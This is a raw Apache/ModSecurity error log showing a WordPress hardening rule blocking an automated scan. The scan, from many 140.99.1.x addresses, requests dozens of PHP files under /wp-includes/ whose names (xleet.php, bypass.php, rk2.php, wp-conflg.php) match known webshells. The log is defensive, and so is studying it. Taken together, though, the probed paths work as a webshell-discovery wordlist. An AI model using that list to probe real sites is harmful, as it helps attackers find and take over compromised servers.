[Mon Nov 24 09:32:02.588792 2025] [:error] [pid 48601:tid 48681] [client 140.99.1.69:49507] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aSO1koMM4MaVTk74-AZP5AAAAhg"]
[Mon Nov 24 09:32:03.083744 2025] [:error] [pid 48601:tid 48658] [client 140.99.1.69:45811] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aSO1k4MM4MaVTk74-AZP6AAAAgE"]
[Mon Nov 24 09:32:03.326061 2025] [:error] [pid 48688:tid 48713] [client 140.99.1.69:28135] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aSO1kxm2q1FkzLam7A1CAAAAAlU"]
[Mon Nov 24 09:32:03.589318 2025] [:error] [pid 48600:tid 48649] [client 140.99.1.73:55649] [client 140.99.1.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aSO1k_tOzSUAQvWVjBcwdAAAAdM"]
[Mon Nov 24 09:32:03.911049 2025] [:error] [pid 48599:tid 48619] [client 140.99.1.9:62489] [client 140.99.1.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aSO1k5zvu6PDJiRKE3LPDwAAAZA"]
[Mon Nov 24 09:32:04.392218 2025] [:error] [pid 48599:tid 48618] [client 140.99.1.15:30735] [client 140.99.1.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aSO1lJzvu6PDJiRKE3LPFAAAAY8"]
[Mon Nov 24 09:32:04.836718 2025] [proxy_fcgi:error] [pid 48601:tid 48677] [client 140.99.1.30:55673] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 09:32:05.481397 2025] [:error] [pid 48601:tid 48680] [client 140.99.1.30:55673] [client 140.99.1.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.30, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aSO1lYMM4MaVTk74-AZP7wAAAhc"]
[Mon Nov 24 09:32:06.318298 2025] [:error] [pid 48601:tid 48675] [client 140.99.1.30:55673] [client 140.99.1.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aSO1loMM4MaVTk74-AZP9gAAAhI"]
[Mon Nov 24 09:32:06.741702 2025] [:error] [pid 48601:tid 48669] [client 140.99.1.20:51625] [client 140.99.1.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aSO1loMM4MaVTk74-AZP9wAAAgw"]
[Mon Nov 24 09:32:09.127971 2025] [:error] [pid 49900:tid 49919] [client 140.99.1.73:50243] [client 140.99.1.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSO1mTCyPLrvg06aorma9gAAABE"]
[Mon Nov 24 09:32:09.320370 2025] [:error] [pid 48688:tid 48702] [client 140.99.1.20:50015] [client 140.99.1.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aSO1mRm2q1FkzLam7A1CCwAAAko"]
[Mon Nov 24 09:32:09.536568 2025] [:error] [pid 48599:tid 48620] [client 140.99.1.6:28033] [client 140.99.1.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aSO1mZzvu6PDJiRKE3LPGAAAAZE"]
[Mon Nov 24 09:32:10.609429 2025] [:error] [pid 48688:tid 48713] [client 140.99.1.65:43595] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aSO1mhm2q1FkzLam7A1CHQAAAlU"]
[Mon Nov 24 09:32:10.820410 2025] [:error] [pid 48688:tid 48700] [client 140.99.1.32:30165] [client 140.99.1.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aSO1mhm2q1FkzLam7A1CIQAAAkg"]
[Mon Nov 24 09:32:11.037448 2025] [:error] [pid 49900:tid 49910] [client 140.99.1.17:35167] [client 140.99.1.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aSO1mzCyPLrvg06aormbAgAAAAg"]
[Mon Nov 24 09:32:11.700227 2025] [:error] [pid 48688:tid 48710] [client 140.99.1.68:22601] [client 140.99.1.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aSO1mxm2q1FkzLam7A1CKQAAAlI"]
[Mon Nov 24 09:32:12.044637 2025] [:error] [pid 48601:tid 48663] [client 140.99.1.26:47017] [client 140.99.1.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aSO1nIMM4MaVTk74-AZQCgAAAgY"]
[Mon Nov 24 09:32:12.553709 2025] [:error] [pid 48599:tid 48613] [client 140.99.1.62:35505] [client 140.99.1.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aSO1nJzvu6PDJiRKE3LPOQAAAYo"]
[Mon Nov 24 09:32:15.493342 2025] [:error] [pid 48688:tid 48694] [client 140.99.1.53:49751] [client 140.99.1.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aSO1nxm2q1FkzLam7A1COgAAAkI"]
[Mon Nov 24 09:32:15.934242 2025] [:error] [pid 48599:tid 48623] [client 140.99.1.67:42307] [client 140.99.1.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aSO1n5zvu6PDJiRKE3LPPgAAAZQ"]
[Mon Nov 24 09:32:16.861575 2025] [:error] [pid 48601:tid 48673] [client 140.99.1.31:58547] [client 140.99.1.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aSO1oIMM4MaVTk74-AZQFwAAAhA"]
[Mon Nov 24 09:32:18.735798 2025] [:error] [pid 48601:tid 48660] [client 140.99.1.11:34775] [client 140.99.1.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aSO1ooMM4MaVTk74-AZQGwAAAgM"]
[Mon Nov 24 09:32:19.365936 2025] [:error] [pid 48599:tid 48611] [client 140.99.1.44:24101] [client 140.99.1.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aSO1o5zvu6PDJiRKE3LPRgAAAYg"]
[Mon Nov 24 09:32:20.143640 2025] [:error] [pid 49900:tid 49908] [client 140.99.1.63:50767] [client 140.99.1.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aSO1pDCyPLrvg06aormbEgAAAAY"]
[Mon Nov 24 09:32:20.578160 2025] [:error] [pid 49900:tid 49902] [client 140.99.1.14:61977] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aSO1pDCyPLrvg06aormbFwAAAAA"]
[Mon Nov 24 09:32:20.779768 2025] [:error] [pid 48600:tid 48646] [client 140.99.1.24:50503] [client 140.99.1.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aSO1pPtOzSUAQvWVjBcwuQAAAdA"]
[Mon Nov 24 09:32:21.539951 2025] [:error] [pid 48688:tid 48712] [client 140.99.1.75:45439] [client 140.99.1.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aSO1pRm2q1FkzLam7A1CTAAAAlQ"]
[Mon Nov 24 09:32:22.281437 2025] [:error] [pid 49900:tid 49923] [client 140.99.1.31:20841] [client 140.99.1.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aSO1pjCyPLrvg06aormbIQAAABU"]
[Mon Nov 24 09:32:22.944477 2025] [:error] [pid 48688:tid 48692] [client 140.99.1.8:50217] [client 140.99.1.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aSO1phm2q1FkzLam7A1CUwAAAkA"]
[Mon Nov 24 09:32:23.151711 2025] [:error] [pid 48600:tid 48639] [client 140.99.1.6:37415] [client 140.99.1.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aSO1p_tOzSUAQvWVjBcwywAAAck"]
[Mon Nov 24 09:32:23.635903 2025] [:error] [pid 48600:tid 48648] [client 140.99.1.26:39771] [client 140.99.1.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aSO1p_tOzSUAQvWVjBcw7AAAAdI"]
[Mon Nov 24 09:32:24.240134 2025] [:error] [pid 48688:tid 48694] [client 140.99.1.15:63997] [client 140.99.1.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aSO1qBm2q1FkzLam7A1CWAAAAkI"]
[Mon Nov 24 09:32:26.070180 2025] [:error] [pid 48601:tid 48664] [client 140.99.1.48:43249] [client 140.99.1.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aSO1qoMM4MaVTk74-AZQJAAAAgc"]
[Mon Nov 24 09:32:26.973793 2025] [:error] [pid 48599:tid 48622] [client 140.99.1.78:28067] [client 140.99.1.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aSO1qpzvu6PDJiRKE3LPUgAAAZM"]
[Mon Nov 24 09:32:27.425810 2025] [:error] [pid 48688:tid 48715] [client 140.99.1.32:64495] [client 140.99.1.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aSO1qxm2q1FkzLam7A1CXwAAAlc"]
[Mon Nov 24 09:32:27.660360 2025] [:error] [pid 48599:tid 48608] [client 140.99.1.33:25567] [client 140.99.1.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aSO1q5zvu6PDJiRKE3LPVQAAAYU"]
[Mon Nov 24 09:32:28.082056 2025] [:error] [pid 48601:tid 48671] [client 140.99.1.52:43343] [client 140.99.1.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aSO1rIMM4MaVTk74-AZQKwAAAg4"]
[Mon Nov 24 09:32:28.366277 2025] [:error] [pid 49900:tid 49926] [client 140.99.1.24:52449] [client 140.99.1.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aSO1rDCyPLrvg06aormbKgAAABg"]
[Mon Nov 24 09:32:29.114147 2025] [:error] [pid 48688:tid 48708] [client 140.99.1.14:29813] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aSO1rRm2q1FkzLam7A1CaAAAAlA"]
[Mon Nov 24 09:32:31.228347 2025] [:error] [pid 48601:tid 48663] [client 140.99.1.65:45063] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aSO1r4MM4MaVTk74-AZQMAAAAgY"]
[Mon Nov 24 09:32:31.641477 2025] [:error] [pid 48599:tid 48614] [client 140.99.1.53:58237] [client 140.99.1.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aSO1r5zvu6PDJiRKE3LPYAAAAYs"]
[Mon Nov 24 09:32:31.939880 2025] [:error] [pid 48688:tid 48710] [client 140.99.1.7:23661] [client 140.99.1.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/as.php"] [unique_id "aSO1rxm2q1FkzLam7A1CcwAAAlI"]
[Mon Nov 24 09:32:32.280134 2025] [:error] [pid 48600:tid 48639] [client 140.99.1.28:20459] [client 140.99.1.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aSO1sPtOzSUAQvWVjBcxLAAAAck"]
[Mon Nov 24 09:32:32.467739 2025] [:error] [pid 48600:tid 48642] [client 140.99.1.10:43779] [client 140.99.1.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "aSO1sPtOzSUAQvWVjBcxLgAAAcw"]
[Mon Nov 24 09:32:32.671174 2025] [:error] [pid 48599:tid 48620] [client 140.99.1.10:39943] [client 140.99.1.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aSO1sJzvu6PDJiRKE3LPZAAAAZE"]
[Mon Nov 24 09:32:33.667967 2025] [:error] [pid 48600:tid 48651] [client 140.99.1.72:56093] [client 140.99.1.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aSO1sftOzSUAQvWVjBcxOQAAAdU"]
[Mon Nov 24 09:32:34.233928 2025] [:error] [pid 48601:tid 48665] [client 140.99.1.65:30619] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aSO1soMM4MaVTk74-AZQPQAAAgg"]
[Mon Nov 24 09:32:34.781460 2025] [:error] [pid 48599:tid 48617] [client 140.99.1.77:33457] [client 140.99.1.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aSO1spzvu6PDJiRKE3LPdQAAAY4"]
[Mon Nov 24 09:32:35.342186 2025] [:error] [pid 48601:tid 48676] [client 140.99.1.16:30523] [client 140.99.1.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aSO1s4MM4MaVTk74-AZQRAAAAhM"]
[Mon Nov 24 09:32:36.348197 2025] [:error] [pid 49900:tid 49917] [client 140.99.1.63:26645] [client 140.99.1.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aSO1tDCyPLrvg06aormbPAAAAA8"]
[Mon Nov 24 09:32:36.632146 2025] [:error] [pid 48599:tid 48611] [client 140.99.1.43:50093] [client 140.99.1.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aSO1tJzvu6PDJiRKE3LPfgAAAYg"]
